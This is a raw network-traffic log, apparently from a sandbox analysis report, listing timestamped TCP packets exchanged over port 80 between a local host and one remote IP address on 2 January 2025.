Jan 2, 2025 19:14:17.211719990 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211769104 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211774111 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211775064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211782932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211787939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211818933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211824894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211829901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211900949 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211900949 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.211937904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211971045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.211975098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.212008953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.212018013 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.212023020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.212030888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.212035894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.212038994 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.212043047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.212049007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.212086916 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.212166071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.216801882 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.233287096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.233294010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.233305931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.233311892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.233318090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.233323097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.233329058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.233335018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.233453989 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.233477116 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.247076988 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.249293089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249300957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249314070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249320030 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249325991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249361038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249399900 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.249495029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249501944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249507904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249541044 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.249622107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249627113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249634027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249639988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249645948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249654055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249660015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.249664068 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.249689102 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.249689102 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.249810934 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.250314951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250319958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250361919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250366926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250372887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250394106 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.250488997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250494957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250503063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250507116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.250525951 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.250901937 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251095057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251225948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251230955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251236916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251243114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251246929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251252890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251256943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251267910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251307964 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251311064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251324892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251332998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251360893 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251360893 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251446962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251451969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251466990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251471996 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251513958 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251528025 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251533985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251540899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251550913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251558065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251574993 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251593113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251599073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251605988 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251605988 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251691103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251698017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251703978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251708031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251745939 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251774073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251780033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251785994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251812935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251818895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251832008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251837969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251843929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251851082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.251868963 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251868963 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251909971 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251909971 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.251993895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252060890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252068043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252110958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252116919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252123117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252147913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252182007 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.252270937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252276897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252283096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252288103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252293110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252299070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252305031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252310038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252351046 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.252528906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252535105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252542019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252552986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252558947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252579927 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.252628088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252635002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252640009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252651930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252657890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252664089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252671003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252676010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252727032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.252727032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.252727032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.252727032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.252882957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252888918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252896070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252902031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252907991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252928019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252935886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252940893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252948046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252953053 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.252954006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.252960920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.253000975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.253000975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.253181934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.253269911 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.257597923 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.257646084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.257669926 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.257720947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.257726908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.257734060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.257745028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.257750988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.257782936 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.258116007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.258121967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.258127928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.258132935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.258138895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.258145094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.258147955 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.258152008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.258157015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.258167028 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.258244991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.258244991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.259310961 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.263432980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263437986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263444901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263484001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263489008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263494968 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263506889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263537884 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.263565063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263571024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263607979 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.263704062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263710976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263716936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263721943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263729095 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263776064 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.263776064 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.263776064 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.263856888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263861895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263868093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263874054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263879061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263884068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263889074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263895035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263900995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.263914108 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.264435053 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.266433001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266475916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266479969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266493082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266499996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266505003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266513109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266519070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266587019 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.266587019 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.266627073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266632080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266644955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266649961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266733885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266738892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266756058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266761065 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.266782045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266838074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.266850948 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.266908884 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.266937017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267026901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267031908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267039061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267049074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267055035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267069101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267075062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267080069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267092943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267105103 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267105103 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267129898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267144918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267151117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267155886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267163038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267164946 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267168999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267185926 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267225981 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267225981 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267246008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267251015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267260075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267265081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267270088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267275095 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267281055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267292023 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267311096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267329931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267334938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267339945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267345905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267350912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267355919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267355919 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267363071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267376900 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267405987 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267407894 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267458916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267465115 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267471075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267482042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267487049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267492056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267498970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267517090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267523050 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.267524004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267529964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267537117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.267549992 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.268017054 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279225111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279231071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279237986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279294968 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279300928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279308081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279318094 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279320955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279328108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279352903 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279454947 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279524088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279531002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279537916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279547930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279555082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279561043 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279567003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279577017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279583931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279587984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279601097 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279767036 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279798985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279803991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279809952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279820919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279825926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279831886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279836893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279843092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279849052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279855967 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279861927 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279949903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279954910 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.279956102 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279963017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279968023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279973984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279979944 CET	80	49734	147.45.44.131	192.168.2.6
